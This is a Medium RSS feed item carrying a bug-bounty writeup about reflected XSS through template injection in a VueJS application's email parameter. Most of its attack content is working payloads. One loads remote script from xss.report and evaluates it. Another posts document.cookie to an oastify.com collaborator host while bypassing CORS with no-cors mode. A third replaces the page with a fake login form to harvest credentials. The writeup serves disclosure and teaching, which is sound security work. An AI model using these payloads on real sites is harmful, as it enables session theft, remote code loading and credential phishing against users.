<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by sid0krypt on Medium]]></title>
        <description><![CDATA[Stories by sid0krypt on Medium]]></description>
        <link>https://medium.com/@sid0krypt?source=rss-2f1268fd6bee------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VDlnaMvDC6WEkYF8</url>
            <title>Stories by sid0krypt on Medium</title>
            <link>https://medium.com/@sid0krypt?source=rss-2f1268fd6bee------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 11:27:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sid0krypt/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Vue JS Reflected XSS]]></title>
            <link>https://medium.com/@sid0krypt/vue-js-reflected-xss-fae04c9872d2?source=rss-2f1268fd6bee------2</link>
            <guid isPermaLink="false">https://medium.com/p/fae04c9872d2</guid>
            <category><![CDATA[vuejs]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <dc:creator><![CDATA[sid0krypt]]></dc:creator>
            <pubDate>Tue, 03 Jan 2023 12:52:25 GMT</pubDate>
            <atom:updated>2023-01-03T13:02:27.002Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAdGFdMQAhWAEdWfiw9Aow.png" /></figure><p>Hi guys, in this writeup I will be showing you how I was able to get a reflected XSS on a VueJS application.</p><p>I found a vulnerable param named ‘<strong>?email=</strong>’ which was filtering all the tags. So I referred portswigger’s XSS cheatsheet to get hints for the payloads.</p><p>The first thing you should do is check the technologies used in that application. So in my case it was an application which was based on <strong>VueJS.</strong></p><p>These two payloads were found to be working :</p><pre>{{_Vue.h.constructor`alert(1)`()}}<br>{{$emit.constructor`alert(1)`()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*uyZp7zaNriIYDVbtFyVmFA.png" /></figure><p>Template Injection payloads:</p><pre>{{_Vue.h.constructor(&#39;x&#39;,&#39;console.log(&quot;HI this is sid0krypt&quot;)&#39;)(this)}}<br>{{_Vue.h.constructor(&#39;x&#39;,&#39;console.log(x)&#39;)(this)}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*HiuyQqscDcxmddX5AXSoXg.png" /></figure><p>I don’t have any knowledge with VueJS so after some research I got to know that the constructor function works similar to &lt;script&gt;&lt;/script&gt;.</p><p>So to create a BLIND XSS payload you could simply just use this :</p><pre>{{$emit.constructor`function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(&quot;load&quot;, b);a.open(&quot;GET&quot;, &quot;//xss.report/s/sid0krypt&quot;);a.send()`()}}</pre><p>As the target was using a WAF I couldn&#39;t create a Cross Origin Request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HwQorJBlOcxAotu8bCb9Q.png" /></figure><p>So in this scenario you can use the fetch request with <strong>no-cors</strong> <em>mode</em> which will bypass the restriction of Cross origin Resource Sharing.</p><pre>  fetch(&#39;https://{collaborator link}&#39;, {<br>  method: &#39;POST&#39;,<br>  mode: &#39;no-cors&#39;,<br>  body: document.cookie<br>  });</pre><p>The Final Payload with the fetch request would be :</p><pre>{{$emit.constructor`fetch(%27https://8v4y3qmogobk2g6bewqtqa83quwkk9.oastify.com%27,%20{%20method:%20%27POST%27,%20mode:%20%27no-cors%27,%20body:%20document.cookie%20});`()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OioYM4iJX-A3GGirkCCalw.png" /></figure><p>So to escalate further more , I was able to perform <strong>UI redressing</strong> which was lead to completely modifying the HTML content to login page which I created and it would point to <a href="http://www.target.com/login">www.target.com/login</a> so it looks like a legitimate login page.</p><pre>{{$emit.constructor`history.replaceState(null, null, &#39;../../../login&#39;);<br>document.body.innerHTML = &quot;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;h1&gt;Please login to continue and this is a POC by sid0krypt😌💕&lt;/h1&gt;&lt;form&gt;Username: &lt;input type=&#39;text&#39;&gt;Password: &lt;input type=&#39;password&#39;&gt;&lt;/form&gt;&lt;input value=&#39;submit&#39; type=&#39;submit&#39;&gt;&quot;`()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*87Xo-6i5E6ODgNfjts_-5A.png" /></figure><p>Thank you for reading my writeup ! Please do ping me if you have queries regarding anything.</p><p><strong>Here are my socials :</strong></p><p>LinkedIn : <a href="https://www.linkedin.com/in/siddharth-pasalapudi-365344196/">https://www.linkedin.com/in/siddharth-pasalapudi-365344196/</a></p><p>Twitter: <a href="https://twitter.com/Siddhar07949650">https://twitter.com/Siddhar07949650</a></p><p><strong>References :</strong></p><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fae04c9872d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>